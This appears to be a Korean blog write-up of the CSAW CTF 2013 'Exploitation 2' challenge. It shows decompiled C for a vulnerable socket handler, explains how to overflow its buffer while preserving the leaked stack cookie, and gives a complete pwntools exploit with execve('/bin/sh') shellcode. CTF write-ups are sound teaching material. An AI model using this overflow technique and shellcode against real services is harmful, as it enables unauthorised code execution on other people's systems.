main 코드가 엄청 길어서 당황했다. 게다가 소켓코드라서 뭔지 하나도 모른다.
대충 exploit2 실행시켜두고 cmd를 새로 켜서 페이로드를 작성했다.
소켓으로 로컬 31337포트에 연결하니 에러 없이 handle 함수로 넘어간다.
main함수는 무시하기로 했다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | void __cdecl handle(int newsock) { unsigned int v1; // eax char buffer[2048]; // [esp+1Ch] [ebp-80Ch] unsigned int cookie; // [esp+81Ch] [ebp-Ch] cookie = 0; memset(buffer, 0, sizeof(buffer)); v1 = time(0); srand(v1); secret = rand(); cookie = secret; *(_DWORD *)buffer = buffer; send(newsock, buffer, 4u, 0); send(newsock, &cookie, 4u, 0); send( newsock, "Welcome to CSAW CTF. Exploitation 2 will be a little harder this year. Insert your exploit here:", 0x63u, 0); recv(newsock, buffer, 0x1000u, 0); buffer[2047] = 0; if ( cookie != secret ) { close(newsock); exit(0); } } | cs |
handle함수에서 buff의 주소와 cookie의 값을 보내준다.
ebp와 변수들의 위치를 보면 알 수 있듯이 buffer를 오버플로우 할 때 cookie의 값이 수정된다.
이 때 마지막 조건문에서 secret와 바꾼 cookie값이 다르면 handle 함수의 ret로 안가고 프로그램이 종료된다.
따라서 오버플로우 시 cookie의 값을 우리가 받아온 cookie의 값으로 그대로 덮어씌워야 한다.
따라서 pay는 다음과 같다.
shellcode(X) + dump(0x800-X) + cookie(4) + dump(12) + shellcode_addr(4)
exploit code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | from pwn import * p = remote("127.0.0.1",31338) shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" m = p.recv(2222) buff = u32(m[0:4]) cook = u32(m[4:8]) pay = "" pay += shellcode pay += "\x90"*(0x800-len(shellcode)) pay += p32(cook) pay += "\x90"*12 pay += p32(buff) p.sendline(pay) p.interactive() | cs |
실행 시 exploit2를 실행시켜 두었던 터미널에서 쉘이 따진다.
왜 아무일도 안일어 나는지 궁금해서 한참 뒤졌다.
'정보보안 > CTF' 카테고리의 다른 글
[CSAW CTF 2013] Exploitation4 (0) | 2018.11.12 |
---|---|
[CSAW CTF 2013] Exploitation3 (0) | 2018.11.10 |
[DEFCON CTF 2015] r0pbaby (0) | 2018.11.08 |
[DEFCON CTF 2016] xkcd (0) | 2018.11.07 |
[TWMMA CTF 2016] Pwn greeting (0) | 2018.11.07 |